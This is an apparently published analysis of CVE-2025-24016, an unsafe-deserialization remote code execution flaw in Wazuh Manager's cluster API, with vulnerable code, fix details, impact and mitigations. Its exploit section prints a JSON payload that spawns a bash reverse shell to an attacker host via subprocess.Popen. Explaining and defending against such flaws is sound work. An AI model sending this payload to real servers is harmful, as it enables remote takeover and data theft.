The Watchman Who Left the Gate Open: Wazuh RCE Analysis
Jan 15, 2026·6 min read
Executive Summary (TL;DR)
Wazuh, the popular open-source SIEM, contains a fatal flaw in how it processes JSON data between cluster nodes. By sending a specially crafted request with an `__unhandled_exc__` key, an attacker can trick the server into instantiating arbitrary Python classes. This leads to full RCE as the `wazuh` user. The vulnerability is actively exploited by Mirai botnets. Patch immediately to version 4.9.1.
A critical Remote Code Execution (RCE) vulnerability in Wazuh Manager allows unauthenticated attackers to execute arbitrary commands via the Distributed API. This flaw arises from insecure deserialization logic where the system blindly trusts user-supplied data to reconstruct Python exceptions.
The Hook: The Call is Coming from Inside the House
Wazuh is the self-proclaimed 'Open Source Security Platform.' It's the thing you install to catch the bad guys. It monitors file integrity, detects rootkits, and aggregates logs. It is the all-seeing eye of your infrastructure. So, naturally, it’s arguably the most ironic place to find a trivial Remote Code Execution vulnerability.
Here is the scenario: You have locked down your network. You have firewalls, IDS, and endpoints hardened to the teeth. But sitting right in the middle of this fortress is the Wazuh Manager, listening on port 55000 for API requests.
This vulnerability (CVE-2025-24016) isn't a complex heap overflow or a race condition that requires planetary alignment. It is a classic logic error in data handling. The developers wanted a way to pass Python exception objects between nodes in a Wazuh cluster. Instead of passing a safe string message, they decided to serialize the exception object itself and reconstruct it on the other end. That decision turned the security monitor into a remote shell for anyone who asked nicely.
The Flaw: Python's Pickles vs. JSON's Hooks
Usually, when we talk about Python deserialization vulnerabilities, we are talking about pickle. Pickling is notoriously unsafe because it is essentially a stack-based virtual machine that can execute arbitrary opcodes. But json is safe, right? It's just text! Well, not if you try to make it do things it wasn't meant to do.
The Python json library allows for an object_hook. This is a function that runs for every dictionary parsed from the JSON string. It allows developers to convert raw dictionaries into custom Python objects automatically. Wazuh implemented a custom hook called as_wazuh_object in framework/wazuh/core/cluster/common.py.
The flaw is simple: this function trusts the input. It looks for a specific key, __unhandled_exc__, which is meant to signal that an error occurred on a remote node. Inside this key, it expects a __class__ name and __args__. The code takes these strings and essentially says, 'Oh, you want an object of type X with arguments Y? Coming right up!' It then instantiates that class. If you control the class and the arguments, you control the execution flow.
The Code: A Lesson in what NOT to do
Let's look at the logic that caused this mess. The code resides in framework/wazuh/core/cluster/common.py. The function as_wazuh_object acts as a gatekeeper that forgot to check IDs.
In the vulnerable version, the logic (simplified for clarity) looked something like this:
# Vulnerable Logic Representation
def as_wazuh_object(dct):
if '__unhandled_exc__' in dct:
exc_data = dct['__unhandled_exc__']
# DANGER: Dynamic instantiation of arbitrary classes
cls = get_class_by_name(exc_data['__class__'])
args = exc_data['__args__']
return cls(*args)
return dctThe actual implementation was even messier, involving eval() or similar dynamic evaluation constructs to reconstruct complex objects. This is the programming equivalent of handing a loaded gun to a stranger and asking them to hold it for a second.
The Fix:
In version 4.9.1 (PR #25705), the developers replaced this dynamic madness with ast.literal_eval, which safely evaluates a string containing a Python literal (strings, numbers, tuples, lists, dicts, booleans, and None) but refuses to execute function calls or complex logic. They also added strict validation to ensure only expected data structures are processed.
The Exploit: Weaponizing the API
To exploit this, an attacker targets the Distributed API (DAPI). This API is used for communication between the Wazuh manager and other nodes (or the UI). The attacker sends a JSON payload where a nested dictionary contains the magic trigger key.
A typical attack chain looks like this:
- Recon: Identify a Wazuh Manager exposing the API port (default 55000).
- Payload Construction: Create a JSON object that defines a malicious class instantiation. While
os.systemis the classic example, attackers might use other gadgets available in the memory space to achieve execution or write files.
{
"parameters": {
"filter_node": {
"__unhandled_exc__": {
"__class__": "subprocess.Popen",
"__args__": ["/bin/bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'", {"shell": true}]
}
}
}
}[!NOTE] Real-world Context: In the wild, Mirai botnets are using this to install DDoS agents. They aren't being subtle. They are blasting the API with payloads designed to download and execute shell scripts immediately.
The beauty (or horror) of this exploit is that it returns the result of the execution in the context of the exception handling, or simply executes the side effect (the reverse shell) before the server realizes it processed an invalid 'exception'.
The Impact: Total System Compromise
This is a CVSS 9.9 for a reason. The only reason it isn't a 10.0 is likely due to the slight complexity of the API structure or requiring network access to the API port (which should be firewalled, but often isn't).
Consequences:
- RCE as wazuh user: The attacker runs code as the user running the service. This is usually a dedicated user, but local privilege escalation is often trivial on Linux systems once you have a shell.
- Data Exfiltration: The attacker can read all the logs Wazuh has collected. Passwords, PII, infrastructure details—it's all there.
- Lateral Movement: Since the Manager controls the agents, a sophisticated attacker could potentially push malicious configurations or commands to the thousands of agents monitored by this server, turning the defense system into a massive botnet distribution network.
This is not just a breach; it is an inversion of control. The security tool becomes the primary threat vector.
The Fix: Patch or Perish
If you are running Wazuh < 4.9.1, you are vulnerable. Stop reading and go patch. The official fix effectively neutralizes the object hook's ability to run arbitrary code.
If you cannot patch immediately:
- Firewall that API: There is zero reason for your Wazuh API port (55000) to be exposed to the public internet or the general employee network. Whitelist only the Kibana/Dashboard IP and other cluster nodes.
- Monitor Logs: Look for
500 Internal Server Errorson the API that contain weird Python tracebacks, specificallyNameErrororImportErrororiginating fromcommon.py. This indicates someone is probing the deserializer.
Remember: Security tools are software too. They are written by humans, and humans make mistakes. Don't blindly trust your security appliance just because it has a shield in the logo.
Official Patches
Fix Analysis (1)
Technical Appendix
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:HAffected Systems
Affected Versions Detail
| Product | Affected Versions | Fixed Version |
|---|---|---|
Wazuh Manager Wazuh | >= 4.4.0, < 4.9.1 | 4.9.1 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-502 (Deserialization of Untrusted Data) |
| CVSS v3.1 | 9.9 (Critical) |
| Attack Vector | Network (API) |
| Privileges Required | None / Low |
| EPSS Score | 0.93 (93.40%) |
| Exploit Status | Active / Weaponized |
| KEV Listed | Yes (2025-06-10) |
MITRE ATT&CK Mapping
The product deserializes untrusted data without sufficiently verifying that the resulting data will be valid.
Known Exploits & Detection
Vulnerability Timeline
Subscribe to updates
Get the latest CVE analysis reports delivered to your inbox.